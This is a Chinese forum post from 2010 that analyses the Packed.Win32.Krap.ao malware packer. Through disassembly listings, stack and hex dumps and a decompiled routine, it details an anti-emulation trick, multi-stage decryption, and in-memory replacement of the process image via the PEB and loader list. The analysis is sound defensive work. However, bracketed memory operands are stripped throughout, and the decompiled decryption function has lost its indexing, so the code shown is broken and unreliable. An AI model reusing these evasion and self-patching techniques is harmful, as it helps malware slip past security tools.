krap病毒家族解密方式及ao变种分析
本帖最后由 neinei 于 2010-11-2 10:38 编辑今天试着登录，论坛开张了，高兴~~:victory:
注册也有一段时候了，一直没发过啥东西，甚感对不住H牛给的荣誉会员，恰好周末抓到一个packed.win32.krap.ao变种，这个8月份时进入卡巴前20恶意软件排名，很有来头，
google 一下貌似没人分析krap的解密。这里就把分析过程和大家一块交流一下。
说一下流程，否则容易乱
1 解密-（pack部分）--> 2二次解密（pack部分）--->3内存中解密（pack部分）--->4替换自身模块基址映像(pack部分)---->5注入explorer.exe（病毒自身任务完成,被删除。注入explorer也仅是为了再次注入svchost，完成后，explorer中的线程退出）----> 6 注入svchost(在这个傀儡进程里面干活是这个病毒真正的目的，下载download)
// --------开始了 -----------------------
1绕过虚拟机的解密头
Packed.Win32.Krap 开头是个略有变化的解密头部,变化的是解密最开始绕过虚拟机的技巧。
004010AB 55 push ebp
004010AC 8D4D E8 lea ecx,dword ptr ss:
004010AF 8365 E8 00 and dword ptr ss:,0
004010B3 51 push ecx
004010B4 51 push ecx
004010B5 6A 00 push 0
004010B7 FF15 18314000 call dword ptr ds:[<&COMCTL32.LBItemFromPt>; COMCTL32.LBItemFromPt
004010BD FF15 F8304000 call dword ptr ds:[<&WS2_32.WSAGetLastError>; WS2_32.WSAGetLastError
004010C3 3D 78050000 cmp eax,578 // 验证网络函数的LastError返回值
.--004010C8 0F85 15010000 jnz __krap_.004011E3 // 没有仿真该处直接被引到退出流程
|
| ........
|
| //退出进程
.->004011E3 FF15 04314000 call dword ptr ds:[<&KERNEL32.TerminateP>; kernel32.TerminateProcess
004011E9 8BE5 mov esp,ebp
004011EB 5D pop ebp
004011EC C3 retn
在不同的被打包的程序中，call LBItemFromPt 这处调用不断变化。例如另一个变种（Win32.LdPinch.arqy）
使用了GetEffectiveClientRect这个函数。
WSAGetLastError比较有意思的地方是,如果上一次的调用是不同的API时，会有不同的返回值结果。
比如调用VirtualAlloc返回值是0x57，调用GetFileVerSionInfoSizeA返回值是0x714。AVer的WSAGetLastError如果
是简单函数仿真的话将被绕过。
接着是解密前的配置工作,简单说一下思路。
就是把这个要解密的次数，大小等信息先解密出来。以后的解密工作是根据这些配置进行的。
我逆出来的解密配置结构大致如下，解密配置和解密后面的数据都是用的一个算法，单字节解密。
typedef struct _decrypt_info
{
unsinged int encrypt_buff_off; 被加密数据的偏移
unsinged int encrypt_buff_len; 被加密数据的大小
}decrypt_info;
typedef struct _virus_config_info
{
unsigned int alloc_mem_len1; 分配解密内存长度1
unsigned int alloc_mem_len2; 分配解密内存长度2
int decryp_count ; 需要解密的次数
int unknown;
decrypt_info di ; 解密需要的信息，需要解密多少次，就有decrypt_info长度
}virus_config_info;
几个重要的数据
ebp-0x0c --- 记录最后key的偏移
ebp-0x10 --- 控制解密的次数，
ebp-0x28 --- key的首地址
ebp-0x1c --- 累加解密长度
ebp-0x18 --- 本次解密长度
004010CE 29FF sub edi,edi
004010D0 897D FC mov dword ptr ss:,edi
004010D3 6A 00 push 0
004010D5 9D popfd
004010D6 81D7 0F734000 adc edi,__krap_.0040730F ; key 首地址+偏移
004010DC 037D E8 add edi,dword ptr ss:
004010DF 897D F4 mov dword ptr ss:,edi ; 记录最后key的偏移
004010E2 89E9 mov ecx,ebp
004010E4 BE A8010000 mov esi,1A8
004010E9 F7DE neg esi
004010EB 01F1 add ecx,esi
004010ED 894D F0 mov dword ptr ss:,ecx ; 配置段的首地址
004010F0 BE 0E734000 mov esi,__krap_.0040730E
004010F5 8975 D8 mov dword ptr ss:,esi ; key偏移减1
004010F8 8B4D F0 mov ecx,dword ptr ss:
004010FB 83E9 F0 sub ecx,-10
004010FE 894D E4 mov dword ptr ss:,ecx
00401101 816D FC 2800000>sub dword ptr ss:,28
00401108 F755 FC not dword ptr ss:
0040110B 8345 FC 01 add dword ptr ss:,1 ; 得到第一次在栈中解密的长度
0040110F FF75 D8 push dword ptr ss:
00401112 FF75 FC push dword ptr ss:
00401115 FF75 F4 push dword ptr ss:
00401118 8DBD 58FEFFFF lea edi,dword ptr ss:
0040111E 57 push edi
// 这里对栈中数据进行解密，就是解密配置信息
0040111F E8 DCFEFFFF call __krap_.00401000
这个版本的Krap是分3段进行解密。
解密前的堆栈：
0012FE18 FA034B1C
0012FE1C 805B639F
0012FE20 00000001
0012FE24 E56C6946
0012FE28 8128E5B0
0012FE2C 8128E560
0012FE30 00000000
0012FE34 FF29F178
0012FE38 FF29F178
0012FE3C FA034B34
0012FE40 805B056B
解密后的堆栈：
0012FE18 000013F0 ------>开始加密的代码长度 --、——————长度相加，刚好是解密总长度
0012FE1C 000026C0 ------>文件内部加密的PE文件长度 --/ ------>多重加密，第一次解密后仍然是加密的
0012FE20 00000003 ------>控制解密次数
0012FE24 00001A00 ------>解密及获得API地址后，分配内存的长度
0012FE28 00004000 ------>加密数据的起始偏移，在data节中
0012FE2C 0000330E ------>第一次解密的长度
0012FE30 00002000 ------>加密数据的起始偏移，在rsrc节中
0012FE34 00000096 ------>第二次解密的长度
0012FE38 00003248 ------>加密数据的起始偏移，在rdata节中
0012FE3C 0000070C ------>第三次解密的长度
解密的函数比较简单，我也不知道是个啥加密算法，不多说了配合F5看一些的情况吧。
int __stdcall decode_buff(char *alloc_buf/*解密后的数据buff*/, char *encode_buf/*加密数据*/, int size, char *key)
{
int result;
int v5;
char v6;
int _ch;
signed int eax_ret;
unsigned int index;
signed int v10;
signed int v11;
eax_ret = 0;
index = 0;
v10 = -1;
while ( index < size )
{
v6 = ~((unsigned __int8)~(unsigned __int8)*(_DWORD *)&encode_buf | (unsigned __int8)~(_BYTE)v10);
_ch = *(_DWORD *)&key;
v11 = -1;
result = (int)&alloc_buf;
alloc_buf = 0;
alloc_buf -= ~(_BYTE)_ch + 1 + v6;
alloc_buf = -alloc_buf;
v5 = eax_ret++ + 1;
if ( eax_ret == 1 )
eax_ret = 0;
v11 = v5;
if ( (unsigned int)eax_ret > 0x488000 )
break;
index -= v10;
}
return result;
}
接着分配内存进行第一次解密，同时将解密过程中的信息存放的堆栈中，
$-1AC > 00080000 -------->存放当前解密次数，用于和配置中的次数相比较
...
$-48 > 00080000
$-44 > 00000000
$-40 > 00001FE0
$-3C > FF20B000
$-38 > E1C60400
$-34 > 00000001
$-30 > 00000000
$-2C > 00000408
$-28 > 0040730E ------->加密的数据区
$-24 > 00003AB0 ------->分配的内存长度
$-20 > 00400000 ------->硬编码写入映像的基址例如0x400000
$-1C > 0012FE28 ------->存放的配置信息+0X10偏移的指针
$-18 > 00000000 ------->解密长度的总计
$-14 > 80616CDB ------->分配内存的偏移0x1960处，是解密后运行的入口点
$-10 > 0012FE18 ------->存放的配置信息
$-C > 0040730F
$-8 > FFFFFFFE ------->存放分配的内存的首地址
$-4 > 00000028
$ ==> > 0012FFF0
//第一次解密
00401124 8B5D F0 mov ebx,dword ptr ss:
00401127 8B5B 04 mov ebx,dword ptr ds: ; 从配置中取一次解密长度0x26c0
0040112A 8B75 F0 mov esi,dword ptr ss:
0040112D 031E add ebx,dword ptr ds: ; 累加0x13f0
0040112F 895D DC mov dword ptr ss:,ebx
00401132 BB 40000000 mov ebx,40
00401137 53 push ebx ; 页属性，可执行，可读写
00401138 68 00300000 push 3000
0040113D FF75 DC push dword ptr ss:
00401140 6A 00 push 0
00401142 FF15 00314000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; kernel32.VirtualAlloc
// ...
// 累加解密次数，和配置中的次数进行比
0040117E 8B79 08 mov edi,dword ptr ds: ; 取配置中的比较次数
00401181 39FE cmp esi,edi ; 比较解密次数
00401183 73 2C jnb short __krap_.004011B1
00401185 FF75 D8 push dword ptr ss: ; 密钥的首地址
00401188 8B4D E4 mov ecx,dword ptr ss:
0040118B FF71 04 push dword ptr ds: ; 解密的长度
0040118E 8B45 E4 mov eax,dword ptr ss:
00401191 8B5D E0 mov ebx,dword ptr ss: ; 基址0x400000
00401194 0318 add ebx,dword ptr ds:
00401196 53 push ebx ; 加密的数据
00401197 8B75 F8 mov esi,dword ptr ss:
0040119A 0375 E8 add esi,dword ptr ss:
0040119D 56 push esi
0040119E E8 5DFEFFFF call <__krap_.decode_buff>
004011A3 8B4D E4 mov ecx,dword ptr ss: ; ecx -> decrypt_info * 指针
004011A6 8B45 E8 mov eax,dword ptr ss:
004011A9 0341 04 add eax,dword ptr ds:
004011AC 8945 E8 mov dword ptr ss:,eax ; 累加解密的长度
004011AF ^ EB AE jmp short __krap_.0040115F
// 等于3次后解密完毕
004011BF 894D EC mov dword ptr ss:,ecx ; 解密后运行的入口点
004011C2 8B8D 64FEFFFF mov ecx,dword ptr ss:
004011C8 51 push ecx
004011C9 8B5D F0 mov ebx,dword ptr ss:
004011CC 8B45 F8 mov eax,dword ptr ss:
004011CF 0343 04 add eax,dword ptr ds:
004011D2 50 push eax
004011D3 8B45 EC mov eax,dword ptr ss:
004011D6 50 push eax
004011D7 68 000000B8 push B8000000
004011DC FF75 EC push dword ptr ss: // 压入解密后的入口点
004011DF C2 0400 retn 4 // 跳向新的入口 00921690
2 内存中的二次解密
第一次解密后跳到这里：
00921690 55 push ebp
00921691 8BEC mov ebp,esp
00921693 81EC 68020000 sub esp,268
//... 无效的东西，nop掉
009216A1 50 push eax
009216A2 8BC5 mov eax,ebp
009216A4 83C0 18 add eax,18
009216A7 8985 C8FEFFFF mov dword ptr ss:,eax
009216AD 58 pop eax
009216AE E8 FDFEFFFF call 009215B0 // 获得kernel32.dll的基址
009216B3 8985 E8FDFFFF mov dword ptr ss:,eax
009216B9 E8 22FFFFFF call 009215E0 // 获得ntdll.dll的基址
// 单字节赋值，乱序的写入栈中需要的模块名称及函数名称，用来获得以后要导出的API
009216CD C685 2CFEFFFF 6B mov byte ptr ss:,6B
009216D4 C685 2DFEFFFF 65 mov byte ptr ss:,65
009216DB C685 2EFEFFFF 72 mov byte ptr ss:,72
009216E2 C685 2FFEFFFF 6E mov byte ptr ss:,6E
009216E9 C685 30FEFFFF 65 mov byte ptr ss:,65
009216F0 C685 31FEFFFF 6C mov byte ptr ss:,6C
009216F7 C685 32FEFFFF 33 mov byte ptr ss:,33
009216FE C685 33FEFFFF 32 mov byte ptr ss:,32
00921705 C685 34FEFFFF 00 mov byte ptr ss:,0
...
// 栈中数据
0012FC04 6B 65 72 6E 65 6C 33 32 00 00 00 00 4C 6F 63 61 kernel32....Loca
0012FC14 6C 41 6C 6C 6F 63 00 01 56 69 72 74 75 61 6C 41 lAlloc.VirtualA
0012FC24 6C 6C 6F 63 00 lloc.
0012FD15 4C L
0012FD25 6F 63 61 6C 46 72 65 65 00 ocalFree.
0012FCA8 56 69 72 74 75 61 6C 46 72 65 65 00 VirtualFree.
0012FD10 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 7C GetProcAddress.|
0012FDB8 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 VirtualProtect..
0012FCB8 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 UnmapViewOfFile.
...
// 在将这些排列不连续的字符串指针，加入到一个表中留着后面使用
$-A8 > 0012FC10 ASCII "LocalAlloc"
$-A4 > 0012FD24 ASCII "LocalFree"
$-A0 > 0012FC1C ASCII "VirtualAlloc"
$-9C > 0012FCA8 ASCII "VirtualFree"
$-98 > 0012FD10 ASCII "GetProcAddress"
$-94 > 0012FDB8 返回到 0012FDB8
$-90 > 0012FCB8 ASCII "UnmapViewOfFile"
$-8C > 0012FC2C ASCII "LoadLibraryA"
$-88 > 0012FCC8 ASCII "GetModuleHandleA"
$-84 > 0012FBEC ASCII "LoadResource"
$-80 > 0012FCDC ASCII "LockResource"
$-7C > 0012FDC8 ASCII "FindResourceA"
$-78 > 0012FBD4 ASCII "GetProcessHeap"
$-74 > 0012FCEC ASCII "RtlAllocateHeap"
// 然后定位到自身捆绑的一个PE文件，我们这里为了区别，叫它pe_bound，这是个被UPX压缩的文件，也是加密的。
在内存中用那个pe_bound文件修改自身,起到内存免杀作用。
首先，按照pe_bound的section格式，继续拷贝每一个节到自身进程空间。
// 获得需要的API的地址
00921CA8 E8 B3E7FFFF call 00920460 //GetModuleHandleA 的API地址
00921CAD 8B8D CCFEFFFF mov ecx,dword ptr ss:
00921CB3 8941 30 mov dword ptr ds:,eax
00921CB6 8D95 2CFEFFFF lea edx,dword ptr ss:
00921CBC 52 push edx
00921CBD 8B85 CCFEFFFF mov eax,dword ptr ss:
00921CC3 8B48 30 mov ecx,dword ptr ds:
00921CC6 FFD1 call ecx // 获得自身kernle32基址
00921CC8 8985 E8FDFFFF mov dword ptr ss:,eax
00921CCE 8B95 58FFFFFF mov edx,dword ptr ss:
00921CD4 52 push edx
00921CD5 8B85 E8FDFFFF mov eax,dword ptr ss:
00921CDB 50 push eax //获得 (kernel32.LocalAlloc)
00921CDC E8 7FE7FFFF call 00920460
00921CE1 8B8D CCFEFFFF mov ecx,dword ptr ss:
00921CE7 8901 mov dword ptr ds:,eax
00921CE9 8B95 5CFFFFFF mov edx,dword ptr ss:
00921CEF 52 push edx
00921CF0 8B85 E8FDFFFF mov eax,dword ptr ss:
00921CF6 50 push eax //获得 (kernel32.LocalFree)
//...
// 再分配一块内存
00921E2D 6A 04 push 4
00921E2F 68 00300000 push 3000
00921E34 8B55 0C mov edx,dword ptr ss:
00921E37 52 push edx
00921E38 6A 00 push 0
00921E3A 8B85 CCFEFFFF mov eax,dword ptr ss:
00921E40 8B48 08 mov ecx,dword ptr ds:
00921E43 FFD1 call ecx
//具体信息
0012FB5C 00921E45 /CALL 到 VirtualAlloc 来自 00921E43
0012FB60 00000000 |Address = NULL
0012FB64 00001A00 |Size = 1A00 (6656.)
0012FB68 00003000 |AllocationType = MEM_COMMIT|MEM_RESERVE
0012FB6C 00000004 \Protect = PAGE_READWRITE
00921E45 8985 C4FEFFFF mov dword ptr ss:,eax
00921E4B 8B95 C4FEFFFF mov edx,dword ptr ss:
00921E51 52 push edx
00921E52 8B45 08 mov eax,dword ptr ss:
00921E55 50 push eax
00921E56 E8 25E2FFFF call 00920080 ---- 第二次解密数据到930000这块内存，这块就是用来放解密的那个pe_bound
这个文件本身是非连续加密的，加密的算法简单，跳过若干个字节进行解密，看一些解密后的情况。
//解密前
009226C0 4D 38 5A 90 38 03 66 02 04 09 71 FF 81 B8 C2 91 M8Z?f.q伕聭
009226D0 01 40 C2 15 C6 D8 09 1C 0E 1F BA F8 00 B4 09 CD @?曝. 壶.?
009226E0 21 B8 01 4C C0 0A 54 68 69 73 20 0E 70 72 6F 67 !?L?This prog
009226F0 67 61 6D 87 63 47 6E 1F 4F 74 E7 62 65 AF CF 75 gam嘽Gn Ot鏱eu
00922700 5F 98 69 06 44 4F 7E 53 03 6D 6F 64 65 2E 0D 89 _榠DO~Smode..
00922710 0A 24 4C 44 85 01 BB 29 40 C1 DA 47 13 58 04 E6 .$LD??@邻GX
00922720 3E 1C 3A 30 C0 11 A3 C5 54 F8 C3 88 02 D5 7C 1A > :0?ＥT?諀
00922730 54 CE 1C 46 F8 FB A9 20 29 0D 90 10 3F C1 52 69 T?F?).??罵i
00922740 63 68 44 38 2A 9C 10 50 45 14 4C 01 DA 0E FC 95 chD8*?PEL?鼤
00922750 BD F5 14 8E E0 03 02 01 0B 93 08 33 12 20 1B 10 锦庎?3
00922760 20 09 60 33 30 7F 11 70 2B 09 90 F6 A0 18 49 02 .`30�p+.愽?I
// 解密后的
00930000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?........
00930010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ?......@.......
00930020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00930030 00 00 00 00 00 00 00 00 00 00 00 00 D8 00 00 00 ............?..
00930040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ?.???L?Th
00930050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
00930060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00930070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
00930080 85 BB 29 40 C1 DA 47 13 C1 DA 47 13 C1 DA 47 13 吇)@邻G邻G邻G
00930090 E6 1C 3A 13 C0 DA 47 13 A3 C5 54 13 C3 DA 47 13 ?:磊GＥT泌G
009300A0 02 D5 1A 13 CE DA 47 13 C1 DA 46 13 FB DA 47 13 ?乌G邻FG
// pe_bound解密完成后，继续修改自身
//修改自身内存属性,从基址开始4000000
00921F0F 6A 40 push 40
00921F11 8B8D C0FEFFFF mov ecx,dword ptr ss:
00921F17 8B51 38 mov edx,dword ptr ds:
00921F1A 52 push edx
00921F1B 8B85 48FFFFFF mov eax,dword ptr ss:
00921F21 50 push eax
00921F22 8B8D CCFEFFFF mov ecx,dword ptr ss:
00921F28 8B51 14 mov edx,dword ptr ds:
00921F2B FFD2 call edx //VirtualProtect
// 拷贝930000这块内存的0 ~ 0x400 空间的数据到自身 0x400000 ~ 0x400400
00921F53 8B8D D8FDFFFF mov ecx,dword ptr ss:
00921F59 83C1 01 add ecx,1
00921F5C 898D D8FDFFFF mov dword ptr ss:,ecx
00921F62 8B95 D8FDFFFF mov edx,dword ptr ss:
00921F68 3B55 D4 cmp edx,dword ptr ss:
00921F6B 73 1B jnb short 00921F88
00921F6D 8B45 DC mov eax,dword ptr ss:
00921F70 0385 D8FDFFFF add eax,dword ptr ss:
00921F76 8B8D F0FDFFFF mov ecx,dword ptr ss:
00921F7C 038D D8FDFFFF add ecx,dword ptr ss:
00921F82 8A11 mov dl,byte ptr ds:
00921F84 8810 mov byte ptr ds:,dl
00921F86 ^ EB CB jmp short 00921F53
// 0x400 后的数据按节的大小单独copy
00921FBC 3985 D4FDFFFF cmp dword ptr ss:,eax // 比较当前处理的节数量是否等于节总数
00921FC2 0F8D E8000000 jge 009220B0
00921FC8 8B8D DCFDFFFF mov ecx,dword ptr ss:
00921FCE 0FB751 02 movzx edx,word ptr ds:
00921FD2 83EA 01 sub edx,1
00921FD5 3995 D4FDFFFF cmp dword ptr ss:,edx
00921FDB 75 1A jnz short 00921FF7
00921FDD 8B85 C0FEFFFF mov eax,dword ptr ss:
00921FE3 8B8D ECFDFFFF mov ecx,dword ptr ss:
00921FE9 8B50 38 mov edx,dword ptr ds:
00921FEC 2B51 0C sub edx,dword ptr ds:
00921FEF 8995 9CFDFFFF mov dword ptr ss:,edx
00921FF5 EB 18 jmp short 0092200F
00921FF7 8B85 ECFDFFFF mov eax,dword ptr ss:
00921FFD 8B8D ECFDFFFF mov ecx,dword ptr ss:
00922003 8B50 34 mov edx,dword ptr ds:
00922006 2B51 0C sub edx,dword ptr ds:
00922009 8995 9CFDFFFF mov dword ptr ss:,edx
0092200F 8B85 9CFDFFFF mov eax,dword ptr ss:
00922015 8985 CCFDFFFF mov dword ptr ss:,eax
0092201B 8B8D ECFDFFFF mov ecx,dword ptr ss:
00922021 8B55 DC mov edx,dword ptr ss:
00922024 0351 0C add edx,dword ptr ds:
00922027 8995 D0FDFFFF mov dword ptr ss:,edx
0092202D C785 B8FDFFFF 0>mov dword ptr ss:,0
00922037 33C0 xor eax,eax
00922039 8985 BCFDFFFF mov dword ptr ss:,eax
0092203F 8985 C0FDFFFF mov dword ptr ss:,eax
00922045 8985 C4FDFFFF mov dword ptr ss:,eax
0092204B 8985 C8FDFFFF mov dword ptr ss:,eax
00922051 8B8D D0FDFFFF mov ecx,dword ptr ss:
00922057 898D B4FDFFFF mov dword ptr ss:,ecx
0092205D 8B95 ECFDFFFF mov edx,dword ptr ss:
00922063 8B42 10 mov eax,dword ptr ds:
00922066 3B85 CCFDFFFF cmp eax,dword ptr ss: // 比较 SizeOfRawData 的大小，做copy前准备
0092206C 76 0E jbe short 0092207C
0092206E 8B8D CCFDFFFF mov ecx,dword ptr ss:
00922074 898D 6CFEFFFF mov dword ptr ss:,ecx
0092207A EB 0F jmp short 0092208B
0092207C 8B95 ECFDFFFF mov edx,dword ptr ss:
00922082 8B42 10 mov eax,dword ptr ds:
00922085 8985 6CFEFFFF mov dword ptr ss:,eax
0092208B 8B8D 6CFEFFFF mov ecx,dword ptr ss:
00922091 51 push ecx // 目的数据，就是自身的节偏移
00922092 8B95 ECFDFFFF mov edx,dword ptr ss:
00922098 8B45 D8 mov eax,dword ptr ss:
0092209B 0342 14 add eax,dword ptr ds:
0092209E 50 push eax // 源数据，就是alloc 的那个buff 930000 + 节偏移
0092209F 8B8D D0FDFFFF mov ecx,dword ptr ss:
009220A5 51 push ecx // copy数据大小
009220A6 E8 55DFFFFF call 00920000 // copy数据到自身
009220AB ^ E9 E4FEFFFF jmp 00921F94
// 查找自身的映像数据也就是0x400000，如果是跳到下方，做一系列修改操作
0092225A E8 61F2FFFF call 009214C0 // eax 中 获得PEB 基址
0092225F 8945 94 mov dword ptr ss:,eax
00922262 8B45 94 mov eax,dword ptr ss:
00922265 8B8D 48FFFFFF mov ecx,dword ptr ss:
0092226B 8948 08 mov dword ptr ds:,ecx // 修改PEB 中的ImageBaseAddress 数据为0x400000
0092226E E8 4DF2FFFF call 009214C0 // eax 中 获得PEB 基址
00922273 8B50 0C mov edx,dword ptr ds: // PEB.Ldr
00922276 83C2 0C add edx,0C // PEB.Ldr.InLoadOrderModuleList
00922279 8995 30FFFFFF mov dword ptr ss:,edx
0092227F 8B85 30FFFFFF mov eax,dword ptr ss:
00922285 8B08 mov ecx,dword ptr ds:
00922287 898D 28FEFFFF mov dword ptr ss:,ecx
0092228D 8B95 28FEFFFF mov edx,dword ptr ss:
00922293 3B95 30FFFFFF cmp edx,dword ptr ss: // 遍历链表模块信息，查找自身模块
00922299 /74 57 je short 009222F2
0092229B |8B85 28FEFFFF mov eax,dword ptr ss:
009222A1 |8985 34FFFFFF mov dword ptr ss:,eax
009222A7 |8B8D 34FFFFFF mov ecx,dword ptr ss:
009222AD |8B51 18 mov edx,dword ptr ds:
009222B0 |3B95 48FFFFFF cmp edx,dword ptr ss: // 比较是不是自身模块0x400000
009222B6 |75 2A jnz short 009222E2
009222B8 |8B85 C0FEFFFF mov eax,dword ptr ss:
009222BE |8B8D 48FFFFFF mov ecx,dword ptr ss:
009222C4 |0348 10 add ecx,dword ptr ds: // 获得bound_pe的入口点，但这个是经过修正的，已经被改为0x407f30
009222C7 |8B95 34FFFFFF mov edx,dword ptr ss:
009222CD |894A 1C mov dword ptr ds:,ecx // 改写原自身的入口点0x40109c为0x407f30
009222D0 |8B85 34FFFFFF mov eax,dword ptr ss: // eax 保存当前 _LDR_DATA_TABLE_ENTRY 信息
009222D6 |8B8D C0FEFFFF mov ecx,dword ptr ss:
009222DC |8B51 38 mov edx,dword ptr ds: // SizeOfImage
009222DF |8950 20 mov dword ptr ds:,edx // 修改SizeOfImage 为0xA000，原为0x19000
009222E2 |8B85 28FEFFFF mov eax,dword ptr ss:
009222E8 |8B08 mov ecx,dword ptr ds:
009222EA |898D 28FEFFFF mov dword ptr ss:,ecx
009222F0 ^|EB 9B jmp short 0092228D // 如果没有发现继续next
// 找到，跳出了链表循环
009222F2 8D95 70FEFFFF lea edx,dword ptr ss:
009222F8 52 push edx
009222F9 8B85 48FFFFFF mov eax,dword ptr ss:
009222FF 50 push eax // 压入基址0x400000
00922300 E8 2BEDFFFF call 00921030
// 填充一些PE信息
00921030 55 push ebp
00921031 8BEC mov ebp,esp
00921033 83EC 0C sub esp,0C
00921036 8D45 F8 lea eax,dword ptr ss:
00921039 50 push eax
0092103A 8D4D FC lea ecx,dword ptr ss:
0092103D 51 push ecx
0092103E 8D55 F4 lea edx,dword ptr ss:
00921041 52 push edx
00921042 8B45 08 mov eax,dword ptr ss:
00921045 50 push eax
00921046 E8 D5F4FFFF call 00920520 // 获得MagicNumber，第一个节的虚拟地址，
0092104B 8B4D 0C mov ecx,dword ptr ss:
0092104E 8B55 08 mov edx,dword ptr ss:
00921051 8951 18 mov dword ptr ds:,edx
00921054 8B45 0C mov eax,dword ptr ss:
00921057 8B4D FC mov ecx,dword ptr ss:
0092105A 8B51 10 mov edx,dword ptr ds:
0092105D 8950 1C mov dword ptr ds:,edx // 写新的入口地址
00921060 8B45 0C mov eax,dword ptr ss:
00921063 8B4D FC mov ecx,dword ptr ss:
00921066 8B51 38 mov edx,dword ptr ds: // 写入新的Size0fImage
00921069 8950 20 mov dword ptr ds:,edx
0092106C 8B45 0C mov eax,dword ptr ss:
0092106F 8B4D F4 mov ecx,dword ptr ss:
00921072 8B51 04 mov edx,dword ptr ds:
00921075 8950 44 mov dword ptr ds:,edx // 写入TimeDateStamp
00921078 8BE5 mov esp,ebp
0092107A 5D pop ebp
0092107B C2 0800 retn 8
// 压入导出的API列表
00922305 8B8D CCFEFFFF mov ecx,dword ptr ss:
0092230B 51 push ecx
0092230C 8D95 70FEFFFF lea edx,dword ptr ss:
00922312 52 push edx
00922313 6A 00 push 0
00922315 E8 66EDFFFF call 00921080
00920A52 E8 59FCFFFF call <get_export_table_address> //查找对应的Kernel32，ntdll 导出表
00920A57 8945 EC mov dword ptr ss:,eax
00920A5A 837D EC 00 cmp dword ptr ss:,0
00920A5E 75 07 jnz short 00920A67
00920A60 33C0 xor eax,eax
00920A62 E9 17020000 jmp 00920C7E
00920A67 8B55 EC mov edx,dword ptr ss:
00920A6A 837A 20 00 cmp dword ptr ds:,0
00920A6E 75 07 jnz short 00920A77
00920A70 33C0 xor eax,eax
// 找到了需要的API
00920C44 837D E8 00 cmp dword ptr ss:,0
00920C48 74 05 je short 00920C4F
00920C4A 8B45 E8 mov eax,dword ptr ss:
00920C4D EB 2F jmp short 00920C7E
00920C4F EB 26 jmp short 00920C77
// 用自己获得的API填充自己已经被修改过的IAT
00920DA2 E8 99FCFFFF call 00920A40 // 找 (WININET.InternetOpenA) ok
00920DA7 8B4D E4 mov ecx,dword ptr ss: ; __krap_.00409100
00920DAA 8901 mov dword ptr ds:,eax
00920DAC 8B55 E4 mov edx,dword ptr ss:
00920DAF 833A 00 cmp dword ptr ds:,0
// 清除工作
00922351 E8 EA020000 call 00922640
00922356 8BE5 mov esp,ebp
00922358 5D pop ebp
00922359 C2 1800 retn 18
009226A3 8B7D 1C mov edi,dword ptr ss:
009226A6 8B75 18 mov esi,dword ptr ss:
009226A9 8B5D 14 mov ebx,dword ptr ss:
009226AC FF65 F0 jmp dword ptr ss: // 注意这里，跳向了新的EOP处（00407f30）
// 至此二次解密的前期准备工作完毕，下面是解密
// 用407000数据按一定的格式去改写401000开始的数据
00407F48 8A06 mov al,byte ptr ds:
00407F4A 46 inc esi
00407F4B 8807 mov byte ptr ds:,al
00407F4D 47 inc edi
00407F4E 01DB add ebx,ebx
00407F50 75 07 jnz short __krap_.00407F59
00407F52 8B1E mov ebx,dword ptr ds:
00407F54 83EE FC sub esi,-4
00407F57 11DB adc ebx,ebx
00407F59 ^ 72 ED jb short __krap_.00407F48
...
// 从406000开始,搜索导入表中函数名称的后面的信息。406420开始为一块重定位的信息，利用这个重定位信息
去修正401000中的代码,这里面记录的是要重定位数据的索引。
004063E2 41 00 01 48 74 74 70 51 75 65 72 79 49 6E 66 6F A.HttpQueryInfo
004063F2 41 00 01 49 6E 74 65 72 6E 65 74 43 6C 6F 73 65 A.InternetClose
00406402 48 61 6E 64 6C 65 00 01 49 6E 74 65 72 6E 65 74 Handle.Internet
00406412 52 65 61 64 46 69 6C 65 00 00 00 00 00 00 9D 08 ReadFile......?
00406422 0F 11 1D 23 0F 0D 06 05 0D 06 15 33 0F 0E 0D 0B #..3.
00406432 07 12 07 27 35 21 A3 0B 34 70 0D 06 28 20 14 11 '5!?4p.(
00406442 11 21 28 32 3B 39 09 1D 0B 0C 54 07 16 06 07 07 !(2;9. .T
00406452 07 07 07 07 13 09 12 06 05 0E 0F 10 0C 30 09 11 ..0.
00406462 19 15 15 14 26 15 15 14 19 15 15 14 19 15 15 14 &
00406472 19 15 15 14 19 15 15 14 19 15 15 14 19 15 15 14
00406482 19 15 15 14 19 15 15 14 17 10 1B 10 1B 15 15 14
00406492 10 09 1D 0B 0C 17 0D 2D 2D 0D 27 52 24 18 14 0F . ..--.'R$
//
00408084 31C0 xor eax,eax
00408086 8A07 mov al,byte ptr ds: // edi - > 00406424
00408088 47 inc edi
00408089 09C0 or eax,eax
0040808B 74 22 je short __krap_.004080AF
0040808D 3C EF cmp al,0EF
0040808F 77 11 ja short __krap_.004080A2
00408091 01C3 add ebx,eax // ebx - > 004010C1
00408093 8B03 mov eax,dword ptr ds:
00408095 86C4 xchg ah,al
00408097 C1C0 10 rol eax,10
0040809A 86C4 xchg ah,al
0040809C 01F0 add eax,esi
0040809E 8903 mov dword ptr ds:,eax // 去修正4010c1这块偏移
004080A0 ^ EB E2 jmp short __krap_.00408084
//例如下面代码代码
004010B5 C785 6CFFFFFF 9>mov dword ptr ss:,94
004010BF FF15 000020B8 call dword ptr ds:
//会被修正为
004010B5 C785 6CFFFFFF 9>mov dword ptr ss:,94
004010BF FF15 B8304000 call dword ptr ds: ; kernel32.GetVersionExA
// 解密完成后对比变化
// 解密前
00401000 >55 8B EC 50 56 83 65 FC 00 C7 45 F8 00 00 00 00 U嬱PV僥?荅?...
00401010 56 C7 45 F4 FF FF FF FF EB 0A 5E 8B 75 F8 2B 75 V荅??^媢?u
00401020 F4 89 75 F8 8B 7D F8 3B 7D 10 73 65 8B 4D 0C 03 魤u鴭}?}se婱.
00401030 4D F8 89 C8 8B 4D F4 31 D2 33 10 F7 D1 F7 D2 09 M鴫葖M??餮饕.
00401040 D1 F7 D1 81 E1 FF 00 00 00 8B 45 14 03 45 FC 8B 痒褋?...婨E鼖
